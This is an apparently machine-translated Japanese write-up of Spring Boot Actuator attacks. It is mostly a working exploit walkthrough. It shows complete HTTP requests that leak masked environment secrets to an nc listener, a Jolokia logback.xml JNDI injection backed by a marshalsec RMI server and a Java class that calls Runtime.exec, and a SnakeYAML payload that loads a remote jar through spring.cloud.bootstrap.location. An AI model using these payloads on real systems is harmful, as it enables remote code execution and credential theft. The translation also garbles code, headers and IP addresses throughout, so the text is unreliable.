Jump to content

1。 Springboot envに *敏感な情報を取得します

Springbootサイトに直接アクセスすると、一部のパスワードフィールドが *で満たされていることがわかります。

クリアテキストフィールドは$ {name} 2を介して取得できます。不適切な構成は、機密情報の漏れにつながります(パスワードコールアスタリスク、PWDはアスタリスクを呼び出しません1049983-20230301123203473-1048483928.jpg参照https://MP.weixin.Q.com/s/s/hmgeyrcf1HSVW995501

特定の実装プロセス:

たとえば、 PIDパラメーター値を取得したい

'pid':' 10648 '、

post /env http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 76

eureka.client.serviceurl.defaultzone=http://$ {pid }@10.20.24.191:2444/

次に、コンテンツを更新し、脆弱性をトリガーします

PS:は通常、応答パッケージを持つために3秒待つ必要があります。リターンがリフレッシュできないSpring-Boot-Starter-Actuator拡張機能パッケージがないためである可能性がある場合、悪用することはできません。

投稿/更新http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 5

12312

サーバーNCがポート2444に耳を傾けると、受信されます

root@kali:/tmp#nc -lvvp 2444

[任意の] 2444で聞く.

Kali [10.20.24.191] 40960から[10.20.24.191]に接続します

get/xstream/apps/http/1.1

Accept: Application/JSON

discoveryidentity-name: defaultclient

DiscoveryIdentity-version: 1.4

DiscoveryIdentity-ID: 10.20.24.191

Accept-Encoding: GZIP

host: 10.20.24.191:2444

Connection: Keep-Alive

user-agent: java-eurekaclient/v1.4.11

Authorization: BASIC MZGZNDY6BNVSBA==

Authorization: BASIC MZGZNDY6BNVSBA==

取得するためのbase64デコード

root@kali:/tmp#echo mzgzndy6bnvsba==| base64 -d

38346:Null

上記のPID情報と同じです

同様に、user.countryパラメーターを取得すると、手順は同じです

結果:

root@kali:/tmp#nc -lvvp 2555

[任意の] 2555で聞く.

Kali [10.20.24.191]から[10.20.24.191]に接続します。38994

get/xstream/apps/http/1.1

Accept: Application/JSON

discoveryidentity-name: defaultclient

DiscoveryIdentity-version: 1.4

DiscoveryIdentity-ID: 10.20.24.191

Accept-Encoding: GZIP

HOST: 10.20.24.191:2555

Connection: Keep-Alive

user-agent: java-eurekaclient/v1.4.11

Authorization: Basic VVM6BNVSBA==

0、RCVD 310を送信します

取得するためのbase64デコード

root@kali:/tmp#echo vvm6bnvsba==| base64 -d

US: Null Scripting:

照会するパラメーターを入力し、NC llad5cqintr3197.pngで聴くポートを入力します

1049983-20230301123204371-1348724531.jpg

ポートを聴き、指定されたヘッダーヘッダーを取得し、自動的にbase64復号化5ffticqtc4w3199.png

1049983-20230301123205136-1093949527.jpg 1049983-20230301123206021-825774621.jpg

PS:ターゲットクラスパス(通常はSpring Cloud Netflixに含まれる)にEureka-Client 1.8.7を持つことができた場合、XStream Deserializationの脆弱性を活用できます。

たとえば、USER-AGENT: JAVA-EUREKACLIENT/V1.4.11

2。 springboot_actuator jndi rce

1。環境構築

git clone 3https://github.com/veracode-research/actuator-testbed

起動する

MVNインストール

または

MVN Spring-Boot:Run

コンピレーションと操作により、リスニングIPアドレスは127.0.0.1であり、ローカルマシンのみでアクセスできることがわかりました。 Baidu検索、0.0.0.0に変更するだけです。

キーファイルを見つけます

grep -r 'server.address' -n ./

./src/main/resources/application.properties:23360server.address=127.0.0.1

./target/classes/application.properties:2:server.address=127.0.0.1

に変更します

server.port=8090

server.address=0.0.0.0

#脆弱な構成セット0:スプリングブート1.0-1.4

#すべてのスプリングブートバージョン1.0-1.4パラメーターなしでデフォルトでアクターを公開する

#それらを公開するために必要な構成はありません

#セーフ構成セット0:スプリングブート1.0-1.4

#management.security.enabled=true

#脆弱な構成セット1:スプリングブート1.5+

#スプリングブート1.5+はmanagement.security.enabled=falseを必要とします敏感なアクターを公開する

#management.security.enabled=false

#セーフ構成セット1:スプリングブート1.5+

# 'management.security.enabled=false'が、すべての敏感なアクターが明示的に無効になっている場合

#management.security.enabled=false

#脆弱な構成セット2:スプリングブート2+

#management.endpoints.web.exposure.include=*

2。再起動して起動

mvn spring-boot:run

または

/opt/jdk1.8.0_60//bin/java-classpath /opt/apache-maven-3.6.2/plexus-classworlds-2.6.0.jar -dclassworlds.conf=/opt/apache-maven-3.6.2/bin/bin/m2.conf -dmaven.home=/opchmen.home -dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -dmaven.multimoduleprojectdirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.launchersprun-boot3:Run

しばらく待ってください

root@kali:〜/actuator/actuator -testbed#netstat -ntpl | grep 8090

TCP6 0 0 :8090 :*聞いて33666/java

root@kali:〜/actuator/actuator-testbed#

http://10.20.24.191:8090/y3gktuvd0nd3206.png

1049983-20230301123206803-2050467207.png

http://10.20.24.191:8090/Jolokia/List umwecg2inj53214.png

1049983-20230301123207520-1178629798.png

reloadbyurlは、リモートURL XMLファイルをロードできます

'ch.qos.logback.classic': {

'name=default、type=ch.qos.logback.classic.jmx.jmxconfigurator': {

'op': {

'reloadbyurl': {

'args': [

{

'name ':' p1 '、

'Type':' java.net.url '、

'desc':' '

}

]、

'ret':' void '、

'desc':'管理のために公開された操作'

}

3.HTTP Service Stores logback.xml、exportobject.class

logback.xmlファイルコンテンツ

mwanhhuwvaa3219.png

1049983-20230301123208204-1124192519.pngConfiguration

InsertFromjndi env-entry-name='rmi: //10.20.24.19133601099/exploit' as='appname'/

/構成

ExportObject.java

java.io.bufferedreaderをインポートします。

java.io.inputStreamをインポートします。

java.io.inputStreamReaderをインポートします。

Public Class ExportObject {

public ExportObject()スロー例外{

process var1=runtime.getRuntime()。exec( 'touch /tmp /jas502n');

inputstream var2=var1.getinputStream();

BufferedReader var3=new BufferedReader(new inputStreamReader(var2));

文字列var4;

while((var4=var3.readline())!=null){

System.out.println(var4);

}

var1.waitfor();

var2.close();

var3.close();

var1.destroy();

}

public static void main(string [] var0)は例外をスローします{

}

}

4.rceトリガー

RMIポートを聴いてください

root@kali:〜/ldap_rmi#cat rmi.sh

Java -CP MARSHALSEC-0.0.3-SNAPSHOT-ALL.JAR MARSHALSEC.JNDI.RMIREFSERVER http://10.20.24.191:8000/#EXPORTOBJECT

root@kali:〜/ldap_rmi#./rmi.sh

* 1099にJRMPリスナーを開く

/10.20.24.191:43878から接続があります

メッセージを読む.

rmi.lookup call for exportobject 2です

http://10.20.20.24.191:8000/exportobject.classをターゲットとするリモートクラスロードスタブの送信

接続を閉じます

ブラウザアクセスは、解析用のリモートlogback.xmlファイルをロードします。

サーバーは悪意のあるJNDIアドレスにアクセスし、悪意のあるバイトコードコードの実行を引き起こします

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:name=default、type=ch.qos.l ogback.classic.jmx.jmxconfigurator/reloadbyurl/http:

myua4gfcyvq3226.png

1049983-20230301123208943-696382667.png

5。コマンドの実行は成功しました

root@kali:/var/www/html#ls/tmp/j*

/TMP/JAS502N

root@kali:/var/www/html#

iii。 YML RCE脆弱性

スプリング環境でRCEを実装する方法spring.cloud.bootstrap.locationプロパティの変更はより信頼性が高い

このプロパティは、外部構成をロードし、YAML形式で解析するために使用されます。これを達成するために、ポスト/リフレッシュコンテンツは脆弱性を引き起こします。 yaml_payload.ymlファイルコンテンツ:

! javax.script.scriptenginemanager [

! java.net.urlclassloader [[[[

! java.net.url ['http://10.20.24.191:8000/yaml_payload.jar']

]]

]

1.yaml_payload.jar製造

コード3https://github.com/artsploit/yaml-payload

1049983-20230301123209714-1255248784.jpgawesomescriptenginefactory.javaコードの一部

javax.script.scriptengineをインポートします。

javax.script.scriptengineFactoryをインポートします。

java.io.ioexceptionをインポートします。

java.util.listをインポートします。

Public Class AwesomeScriptEngineFactoryはScriptEngineFactoryを実装しています{

public wesomescriptengineFactory(){

試す {

runtime.getRuntime()。exec( 'touch /tmp /success');

} catch(ioException e){

e.printstacktrace();

}

}

ymal_payload.jar \ artsploit \ awesomescriptenginefactory.java

実際のバイトコードが含まれており、コンストラクターに悪意のあるペイロードがあります。

ymal_payload.jar \ services \ javax.script.scriptengineFactory

serviceloaderがクラスを見つける場所を知っているように、「artsploit.awesomescriptenginefactory」への完全な参照を含むテキストファイルだけ

コンテンツ:Artsploit.awesomescriptengineFactory

JARファイルはHTTPサーバーに存在します

http://10.20.24.191:8090/ymal_payload.jar

2.spring.cloud.bootstrap.location

をセットします

Sprud.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

1049983-20230301123210372-433777415.pngpost /env http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

x-forwarded-for: 127.0.0.1

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 73

spring.cloud.bootstrap.Location=http://10.20.20.24.19133608000/yaml_payload.yml

3. refresh任意のコンテンツを投稿し、RCEの脆弱性がトリガーされました

1049983-20230301123211028-1986776549.pngPOST /更新HTTP /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

x-forwarded-for: 127.0.0.1

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 5

12312

4.RCE実行は成功しました

1049983-20230301123211641-785428136.jpgROOT@kali:/var/www/html#ls/tmp/suck*

/TMP/成功

root@kali:/var/www/html#ps: eurekaのxstreamペイロードと比較して、yamlメソッドは最新バージョンでも使用できます。参照リンク3https://www.veracode.com/blog/research/exploiting-spring-boot-actuatorsオリジナルリンク:https://github.com/jas502n/springboot_actuator_rce

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...